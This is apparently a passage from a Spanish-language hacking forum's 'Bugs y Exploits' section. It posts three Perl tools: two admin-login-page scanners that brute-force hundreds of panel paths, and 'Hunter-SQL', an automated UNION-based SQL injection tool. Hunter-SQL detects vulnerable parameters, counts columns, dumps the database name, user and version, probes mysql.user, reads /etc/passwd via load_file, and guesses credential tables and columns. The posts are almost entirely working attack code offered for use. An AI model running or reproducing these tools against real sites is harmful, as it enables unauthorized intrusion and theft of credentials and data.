'webadmin/admin.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm','panel-administracion/lo

gin.cfm','adminLogin.cfm',
'admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm','adminarea/admin.cfm','adminarea/login.cf

m','admin-login.html',
'panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm','modelsearch/admin.

cfm','administrator/index.cfm',
'admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/ind

ex.cfm','adm/index.cfm',
'adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','siteadmin/login.cfm','siteadm

in/index.cfm','siteadmin/login.html'
);

foreach $ways(@path1){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
}





# -------------------------------------------------------
#--------------------------/test-------------------------|
# -------------------------------------------------------


if($code eq "php"){

@path2=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','

panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/ad

min.php','admin/account.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html'

,'admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','ad

min_area/login.html','admin_area/index.html',
'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/accou

nt.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html

','panel-administracion/login.html',
'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/logi

n.php','admin/admin_login.php','admin_login.php',
'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/a

dmin-login.php','admin-login.php',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/

login.php','moderator.php','moderator/login.php',
'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.htm

l','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','admin

area/index.html','adminarea/admin.html',
'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.ht

ml','cp.html','adminpanel.php','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','l

ogin.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.htm

l','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpa

nel.html','admincontrol.html',
'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php',

'adminarea/index.php',
'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php',

'modelsearch/index.php',
'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admi

n2/login.php','admin2/index.php',
'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php'
);

foreach $ways(@path2){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
kill("STOP",NULL);
}

##
# By GlaDiaT0R
##


Fuente: LatinoHack
#39
Bugs y Exploits / Sniper-Admin by Guason
Febrero 24, 2010, 03:11:23 PM
Código: php
#Name program = Sniper-Admin
#Version = beta
#Funcion = Buscar panel de admin
#Autor = Guason

use LWP::Simple;
use LWP::UserAgent;

@path = ("admin1.html","admin1.php","admin2.php","admin2.html","yonetim.php","yonetim.html",
"yonetici.php","yonetici.html","adm/","admin/",
"admin/account.php","admin/account.html","admin/index.php","admin/index.html","admin/login.php",
"admin/login.html","admin/home.php","admin/controlpanel.html","admin/controlpanel.php","admin.php",
"admin.html","admin/cp.php","admin/cp.html","cp.php","cp.html","administrator/","administrator/index.html",
"administrator/index.php","administrator/login.html","administrator/login.php","administrator/account.html",
"administrator/account.php","administrator.php","administrator.html","login.php","login.html",
"modelsearch/login.php","moderator.php","moderator.html","moderator/login.php","moderator/login.html",
"moderator/admin.php","moderator/admin.html","moderator/","account.php","account.html","controlpanel/",
"controlpanel.php","controlpanel.html","admincontrol.php","admincontrol.html","adminpanel.php",
"adminpanel.html","admin1.asp","admin2.asp","yonetim.asp","yonetici.asp","admin/account.asp",
"admin/index.asp","admin/login.asp","admin/home.asp","admin/controlpanel.asp","admin.asp","admin/cp.asp",
"cp.asp","administrator/index.asp","administrator/login.asp","administrator/account.asp","administrator.asp",
"login.asp","modelsearch/login.asp","moderator.asp","moderator/login.asp","moderator/admin.asp","account.asp",
"controlpanel.asp","admincontrol.asp","adminpanel.asp","fileadmin/","fileadmin.php","fileadmin.asp",
"fileadmin.html","administration/","administration.php","administration.html","sysadmin.php","sysadmin.html",
"phpmyadmin/","myadmin/","sysadmin.asp","sysadmin/","ur-admin.asp","ur-admin.php","ur-admin.html","ur-admin/",
"Server.php","Server.html","Server.asp","Server/","wp-admin/","administr8.php","administr8.html",
"administr8/","administr8.asp","webadmin/","webadmin.php","webadmin.asp","webadmin.html","administratie/",
"admins/","admins.php","admins.asp","admins.html","administrivia/","Database_Administration/","WebAdmin/",
"useradmin/","sysadmins/","admin1/","system-administration/","administrators/","pgadmin/","directadmin/",
"staradmin/","ServerAdministrator/","SysAdmin/","administer/","LiveUser_Admin/","sys-admin/","typo3/",
"panel/","cpanel/","cPanel/","cpanel_file/","platz_login/","rcLogin/","blogindex/",
"formslogin/","autologin/","support_login/","meta_login/","manuallogin/","simpleLogin/",
"loginflat/","utility_login/","showlogin/","memlogin/","members/","login-redirect/","sub-login/",
"wp-login/","login1/","dir-login/","login_db/","xlogin/","smblogin/","customer_login/","UserLogin/",
"login-us/","acct_login/","admin_area/","bigadmin/","project-admins/","phppgadmin/","pureadmin/",
"sql-admin/","radmind/","openvpnadmin/","wizmysqladmin/","vadmind/","ezsqliteadmin/",
"hpwebjetadmin/","newsadmin/","adminpro/","Lotus_Domino_Admin/","bbadmin/","vmailadmin/",
"Indy_admin/","ccp14admin/","irc-macadmin/","banneradmin/","sshadmin/","phpldapadmin/","macadmin/",
"administratoraccounts/","admin4_account/","admin4_colon/","radmind-1/","Super-Admin/","AdminTools/",
"cmsadmin/","SysAdmin2/","globes_admin/","cadmins/","phpSQLiteAdmin/","navSiteAdmin/","server_admin_small/",
"logo_sysadmin/","server/","database_administration/","power_user/","system_administration/","ss_vms_admin_sm/");


my $web = $ARGV[0];

unless ($ARGV[0]) {
print "\n\n\t\t\tSniper-Admin by Guason\t\t\t\n\n";
print "\nModo de uso perl $0 <WEB>\n\n";
print "<WEB> = Web solamente ejemplo = http://www.petardas.com/\n\n";
exit 1;
}


logo();

print "\n\n";
print "Buscando paths en $web\n\n\n";
foreach $paths(@path) {

$junto = $web.$paths;

$lwp = LWP::UserAgent->new();
$code = $lwp -> get($junto);


if($code->content =~ /Username/ ||
$code->content =~ /Password/ ||
$code->content =~ /username/ ||
$code->content =~ /password/ ||
$code->content =~ /USERNAME/ ||
$code->content =~ /PASSWORD/ ||
$code->content =~ /Senha/ ||
$code->content =~ /senha/ ||
$code->content =~ /Personal/ ||
$code->content =~ /Usuario/ ||
$code->content =~ /Clave/ ||
$code->content =~ /Usager/ ||
$code->content =~ /usager/ ||
$code->content =~ /Sing/ ||
$code->content =~ /passe/ ||
$code->content =~ /P\/W/ ||
$code->content =~ /Admin Password/

) {
print "Se encontro $path\n";
}

}
print "\n\n\n\nScan Finalizado\n\n";
print "\n\nWritten by Guason || 2009\n\n";
print "Visita infierno-hacking.webcindario.com &  guason-cracker.blogspot.com\n\n";
exit 1;


sub logo {
print "\n\t\t\tSniper-Admin Version 0.1 || Written by Guason\t\t\t\n";
}


#Agradecimientos = none =0
#Email = [email protected]
#Web = infierno-hacking.webcindario.com
#Blog = guason-cracker.blogspot.com
#Good Bye

Use:
Citarperl No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#40
Bugs y Exploits / Hunter-sql by Guason
Febrero 24, 2010, 03:11:08 PM
Lo que hace es

*Comprueba vulnerabilidad
*Busca columnas con 2 tecnicas diferentes
*Saca informacion de base de datos
*Comprueba mysql y schema como load file
*Busca tablas y columnas

Aca el code

Código: php
#Name program = Hunter-SQL
#Version = 1.0
#Autor = Guason


use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;


@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
  'name','names','nombre','nombres','usuarios','member','members','admin_table',
  'miembro','miembros','membername','admins','administrator',
  'administrators','passwd','password','passwords','pass','Pass',
  'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
  'member_password','mods','mod','moderators','moderator','user_email',
  'user_emails','user_mail','user_mails','mail','emails','email','address',
  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  'sistema_usuario','sistema_password','contrasena','auth','key','senha',
  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
          'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
          'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');




my $host = $ARGV[0];

if  (!$ARGV[0]) {

print q (

¦  ¦ ¦  ¦ ¦   ¦ ¦¦¦ ¦¦¦¦ ¦¦¦        ¦¦¦  ¦¦  ¦
¦  ¦ ¦  ¦ ¦¦  ¦  ¦  ¦    ¦  ¦      ¦    ¦  ¦ ¦
¦  ¦ ¦  ¦ ¦¦  ¦  ¦  ¦    ¦  ¦      ¦    ¦  ¦ ¦
¦¦¦¦ ¦  ¦ ¦ ¦ ¦  ¦  ¦¦¦  ¦¦¦  ¦¦¦¦  ¦¦  ¦  ¦ ¦
¦  ¦ ¦  ¦ ¦  ¦¦  ¦  ¦    ¦ ¦          ¦ ¦  ¦ ¦
¦  ¦ ¦  ¦ ¦  ¦¦  ¦  ¦    ¦  ¦         ¦ ¦ ¦¦ ¦
¦  ¦  ¦¦  ¦   ¦  ¦  ¦¦¦¦ ¦  ¦      ¦¦¦   ¦ ¦ ¦¦¦¦


Modo de uso  = perl hunter-sql.pl http://host.com/index.php?id=

Written by Guason

);
exit 1;
}


open ( FILE , ">>c:/hunter-log.txt" );




$cmn.= "+";
$cfin.="--";

print "\n\n";



print q (

¦  ¦ ¦  ¦ ¦   ¦ ¦¦¦ ¦¦¦¦ ¦¦¦        ¦¦¦  ¦¦  ¦
¦  ¦ ¦  ¦ ¦¦  ¦  ¦  ¦    ¦  ¦      ¦    ¦  ¦ ¦
¦  ¦ ¦  ¦ ¦¦  ¦  ¦  ¦    ¦  ¦      ¦    ¦  ¦ ¦
¦¦¦¦ ¦  ¦ ¦ ¦ ¦  ¦  ¦¦¦  ¦¦¦  ¦¦¦¦  ¦¦  ¦  ¦ ¦
¦  ¦ ¦  ¦ ¦  ¦¦  ¦  ¦    ¦ ¦          ¦ ¦  ¦ ¦
¦  ¦ ¦  ¦ ¦  ¦¦  ¦  ¦    ¦  ¦         ¦ ¦ ¦¦ ¦
¦  ¦  ¦¦  ¦   ¦  ¦  ¦¦¦¦ ¦  ¦      ¦¦¦   ¦ ¦ ¦¦¦¦

);

print "[?] Verificando vulnerabilidad de $host.....\n\n";



      $sql=$host."-1".$cmn."union".$cmn."select".$cfin;
      $response=get($sql);
      if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ ||         $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/)
        {

print "[+] Vulnerable, Siguiendo Parametros del Programa\n\n";
print FILE "\n\n";
print FILE "TARGET = $host\n\n";
} else {

print "[-] El sitio NO es vulnerable\n\n";
exit 1;

}

print "[+] Buscando numeros de columnas\n\n";

for ($column = 0 ; $column < 45; $column ++)
{
$union.=','.$column;
$inyection.=','."0x677561736f6e";
    if ($column == 0)
      {
          print FILE "\nNumero de columnas:\n\n";
          $inyection = '';
          $union = '';
      }


  $sql=$host."-1".$cmn."union".$cmn."select".$cmn."0x677561736f6e".$inyection.$cfin;
    $response=get($sql);
    if($response =~ /guason/)
      {

$column ++;
print "[+] El sitio tiene $column columnas\n\n";
$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;

print FILE "\n\n";
print FILE"Inyeccion sql = $sql\n";
&come;
}
}
&come;


sub come {


print "[+] Extrayendo base de datos\n\n";

$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;


my $url = $sql ;

($ura,$numeros) = $url =~ m{(.*)\+(.*)$}g;

print "\n";
print "Extrayendo datos de la url\n\n";
print "Url = $ura\n";
print "Numeros = $numeros\n";
print "\n";





$especial = venga($numeros);
$especial = "4";
$string_datos_db = 'concat(0x494e,database(),0x3A,user(),0x3A,version(),0x46494e)';
$numeros =~s/$especial/$string_datos_db/;
$url = $ura."+".$numeros;
print "\n\n";
print "$url\n";



my $cnx = LWP::UserAgent->new() or die;


$go=$cnx->get($url);


my $source = $go->content();


($db,$user,$version) = $source =~ m{IN(.*):(.*):(.*)FIN}g;
print "\n\n";


print "\n\n";
print "Extrayendo base de datos\n\n";
print "Nombre de base = $db\n";
print "User                       = $user\n";
print "Version db           = $version\n";
print "\n\n";


print FILE "\n\n";
print FILE "#############################################\n";
print FILE "Extrayendo base de datos\n\n";
print FILE "Nombre de base = $db\n";
print FILE "User  = $user\n";
print FILE "Version db  = $version\n";
print FILE "#############################################\n";
print FILE "\n\n";


sub venga{

local $numeros = $_[0];
$numeros = split(",",$numeros);
for ($x=1;$x<=$numeros;$x++){
$url_hex = $url_hex.hex_sql("ACA$x").",";
}

chop($url_hex);
$url_inject = $ura."+".$url_hex."--";
print "\n\n";
print "$url_inject\n";

my $cnxe = LWP::UserAgent->new() or die;



$go=$cnxe->get($url_inject);


my $source_url_hex = $go->content();


( @match_ACA) = $source_url_hex =~ m{ACA(\d+)}g;
$especial =  @match_ACA[int(rand( @match_ACA))];
return $especial;
}



sub hex_sql($) {
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str";
}


print "[+] Verificando existencia de Information_Schema\n\n";

$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0x677561736f6e".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
         $response=get($sql);
         if($response =~ /guason/)
          {

print "[+] Schema esta activado.......\n\n";
$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
            print FILE "\n\nInyeccion SQL para schema:\n\n$sql\n"


          }
         else
          {
            print "[-] Information Schema NO esta activada\n\n";

          }

print "[+] Verificando existencia de Mysql User\n\n";


$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0x677561736f6e".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
         $response=get($sql);
         if($response =~ /guason/)
          {

print "[+] Mysql User esta activo\n\n";

$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
            print FILE "Inyeccion SQL para mysqluser = $sql\n\n";


}
         else
          {
            print "[-] Mysql User NO esta activado\n\n";
          }



while ($loadcont < $column-1)
   {
$loadfile.=','.'load_file(0x2f6574632f706173737764)';
$loadcont++;
   }
print "[+] Verificando existencia de LOAD-FILE...\n\n";


$sql=$host."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
$response=get($sql);
         if($response =~ /root:x:/)
          {


print "[+] LOAD-FILE esta activo\n\n";
print FILE "load_file(0x2f6574632f706173737764) => OK! (0x2f6574632f706173737764 => /etc/passwd)\n\n";

   } else     {

            print "[-] LOAD-FILE NO esta activado\n\n";
          }


print "[+] Buscando Tablas.......\n\n";

               print FILE " [Tablas]:\n\n";
              foreach $tabla(@nombretabla)
                {
                  chomp($tabla);


$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0x677561736f6e".$inyection.$cmn."from".$cmn.$tabla.$cfin;
                  $response=get($sql);
                  if($response =~ /guason/)
                    {

print "[?] Se encontro $tabla\n";
print FILE "$tabla\n";
          }
                }


print "\n\n";
print "Escribe el nombre de la tabla a brutear =";
$tabla = <STDIN>;
chomp $tabla;
print "\n\n";


print FILE "\n\n[Columnas de la tabla $tabla]:\n\n";

  foreach $columna(@nombrecolumna)
            {
             chomp($columna);
             $sql=$host."-1".$cmn."union".$cmn."select".$cmn."concat(0x677561736f6e,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
             $response=get($sql);
             if ($response =~ /guason/)
                  {

print "[?] Se encontro $columna\n";
print FILE "$columna\n";

}

print "\n\n";
print "[?] El programa ha finalizado........\n\n";
exit 1;
}
}